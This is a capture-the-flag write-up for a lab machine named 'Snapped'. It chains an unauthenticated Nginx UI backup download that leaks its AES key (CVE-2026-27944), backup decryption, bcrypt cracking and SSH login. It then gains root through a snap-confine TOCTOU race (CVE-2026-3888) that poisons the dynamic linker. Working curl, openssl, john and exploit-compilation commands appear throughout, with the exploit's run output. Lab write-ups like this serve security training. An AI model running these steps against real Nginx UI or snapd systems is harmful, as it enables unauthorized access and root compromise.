Machine Info
- Name: Snapped
- IP: 10.129.1.16
- OS: Linux (Ubuntu 24.04)
- Difficulty: Hard
- Key Skills: Nginx UI CVE-2026-27944, Unauthenticated Backup Download, AES Decryption, Bcrypt Cracking, snap-confine TOCTOU Race Condition (CVE-2026-3888), AF_UNIX Socket Backpressure
Summary
Snapped is a Hard Linux machine running Nginx on port 80 with two virtual hosts - a static marketing site on snapped.htb and an Nginx UI admin panel on admin.snapped.htb. The Nginx UI instance (< 2.3.2) is vulnerable to CVE-2026-27944 - an unauthenticated backup download at /api/backup that leaks the AES-256-CBC decryption key and IV in the X-Backup-Security response header. Decrypting the backup reveals a SQLite database containing bcrypt-hashed credentials for user jonathan, which cracks to linkinpark using a common wordlist. SSH access as jonathan yields the user flag.
Privilege escalation exploits CVE-2026-3888 - a TOCTOU race condition between snap-confine (SUID-root) and systemd-tmpfiles. The box has the cleanup threshold reduced to 4 minutes (from the default 30 days), making exploitation feasible within a CTF timeframe. After systemd-tmpfiles deletes the stale .snap mimic directory, the attacker recreates it with controlled content. Using AF_UNIX socket backpressure to single-step snap-confine’s debug output, the race is won during the mimic bind-mount sequence - swapping the legitimate /usr/lib/x86_64-linux-gnu directory with an attacker-owned copy. This gives control over the dynamic linker (ld-linux-x86-64.so.2), which is replaced with shellcode that calls setreuid(0,0) + execve. Triggering SUID snap-confine loads the poisoned linker as root, and a SUID bash is dropped to /var/snap/ to escape the sandbox.
Attack Chain:
Vhost fuzz -> admin.snapped.htb (Nginx UI) -> CVE-2026-27944 /api/backup -> AES decrypt -> SQLite DB -> bcrypt crack (jonathan:linkinpark) -> SSH -> user.txt -> CVE-2026-3888 snap-confine TOCTOU race -> poisoned ld-linux -> SUID bash -> root.txt
Reconnaissance
Port Scan
nmap -sC -sV -Pn --min-rate 1000 -p 22,80 10.129.1.16
Key open ports:
- 22/SSH - OpenSSH 9.6p1 Ubuntu
- 80/HTTP - nginx 1.24.0 (Ubuntu)
The site title is “Snapped - Infrastructure. Orchestration. Control.” - a corporate APAC infrastructure platform.
Vhost Discovery
The default site redirects unknown vhosts to snapped.htb. Fuzzing with ffuf reveals admin.snapped.htb:
ffuf -u http://snapped.htb/ \
-H "Host: FUZZ.snapped.htb" \
-w subdomains-top1million-5000.txt \
-mc all -fc 302 -t 50
admin [Status: 200, Size: 1407, Words: 164, Lines: 50]
Browsing admin.snapped.htb shows the Nginx UI panel - a web-based management interface for nginx.
Foothold - CVE-2026-27944
Unauthenticated Backup Download
Nginx UI < 2.3.2 exposes /api/backup without authentication (CVE-2026-27944, CVSS 9.8). The endpoint returns an encrypted backup archive and leaks the AES-256-CBC key and IV in the response headers.
curl -v http://admin.snapped.htb/api/backup -o backup.zip
Key response header:
X-Backup-Security: VID/Nt6o8F67TEUhuLdVMwRSwlr6apJsuI1YM1zsZgM=:85M/UjJF1s+Rh79rExuepw==
Format is base64(AES-key):base64(IV).
Decryption
The outer ZIP contains hash_info.txt, nginx-ui.zip, and nginx.zip - the inner ZIPs are AES-256-CBC encrypted:
# Extract key and IV
KEY=$(echo -n "VID/Nt6o8F67TEUhuLdVMwRSwlr6apJsuI1YM1zsZgM=" \
| base64 -d | xxd -p | tr -d '\n')
IV=$(echo -n "85M/UjJF1s+Rh79rExuepw==" \
| base64 -d | xxd -p | tr -d '\n')
# Decrypt
openssl enc -aes-256-cbc -d \
-in nginx-ui.zip -out nginx-ui-dec.zip \
-K "$KEY" -iv "$IV"
The decrypted nginx-ui-dec.zip contains app.ini (config with JWT secret) and database.db (SQLite).
Credential Recovery
sqlite3 database.db "SELECT * FROM users;"
Two users with bcrypt hashes:
- admin -
$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm - jonathan -
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
john hashes.txt --wordlist=rockyou-75.txt
Cracked: linkinpark (jonathan’s password, reused for SSH).
ssh [email protected]
cat ~/user.txt
# 9c338d80db3a7e941cdfb0494aca6e4e
Privilege Escalation - CVE-2026-3888
Enumeration
ls -la /usr/lib/snapd/snap-confine
# -rwsr-xr-x 1 root root 159016 ... snap-confine (SUID!)
snap version
# snapd 2.63.1+24.04 (vulnerable < 2.73)
cat /usr/lib/tmpfiles.d/tmp.conf
# D /tmp 1777 root root 4m (shortened from 30d!)
systemctl list-timers | grep tmpfiles
# systemd-tmpfiles-clean.timer runs every ~1 minute
Key findings:
snap-confineis SUID-root- snapd 2.63.1 is vulnerable (patched in 2.74.2)
- tmpfiles cleanup threshold shortened to 4 minutes (from default 30 days)
- Cleanup timer runs every minute
The Vulnerability
CVE-2026-3888 is a TOCTOU race condition between snap-confine and systemd-tmpfiles. When setting up a snap sandbox, snap-confine creates “mimics” - writable copies of read-only filesystem hierarchies - under /tmp/.snap. After systemd-tmpfiles deletes the stale .snap directory, an unprivileged user can recreate it with controlled content and race snap-confine’s mimic creation to get attacker-owned files bind-mounted as root.
Exploitation
Used TheCyberGeek’s PoC (exploit_suid.c + librootshell_suid.c). Cross-compiled on macOS using zig:
zig cc -O2 -static -target x86_64-linux-musl \
-o exploit exploit_suid.c
zig cc -nostdlib -static -target x86_64-linux-musl \
-Wl,--entry=_start -o librootshell.so librootshell_suid.c
The exploit was patched to target snap-store instead of firefox (the firefox sandbox got corrupted during initial manual attempts).
The exploit flow:
- Phase 1 - Enter snap-store sandbox via
snap-confine - Phase 2 - Wait for
systemd-tmpfilesto delete.snap(4 min threshold) - Phase 3 - Destroy the cached mount namespace
- Phase 4 - Recreate
.snapwith exchange directory (copies of/usr/lib/x86_64-linux-gnufrom core22 base), launchsnap-confinewithSNAPD_DEBUG=1redirected through an AF_UNIX socket with minimized buffers. Read stderr byte-by-byte to detect the trigger message, then atomically swap the directories - Phase 5 - Overwrite
ld-linux-x86-64.so.2in the poisoned namespace with shellcode - Phase 6 - Execute SUID
snap-confinewhich loads the poisoned dynamic linker as root - Phase 7 - SUID bash dropped to
/var/snap/snap-store/common/bash
./exploit ./librootshell.so
[Phase 4] Setting up and running the race...
[!] TRIGGER - swapping directories...
[+] SWAP DONE - race won!
[*] ld-linux in namespace: jonathan:jonathan 755
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/snap-store/common/bash (mode 4755)
ROOT SHELL: /var/snap/snap-store/common/bash -p
bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root)
bash-5.1# cat /root/root.txt
012e7d795a5bd05f59bb871bbfc279be
Key Takeaways
- Nginx UI backup endpoint is a critical finding - unauthenticated access to encrypted backups with the key leaked in response headers is essentially plaintext credential exposure
- CVE-2026-3888 is an elegant race condition that demonstrates how two individually secure components (
snap-confine+systemd-tmpfiles) can interact to create a privilege escalation path - The AF_UNIX socket backpressure technique for single-stepping a SUID binary is a powerful exploitation primitive worth understanding
- The box name “Snapped” directly hints at the privesc vector (snap/snapd)
- Cross-compilation with
zig ccis invaluable when the target lacks build tools
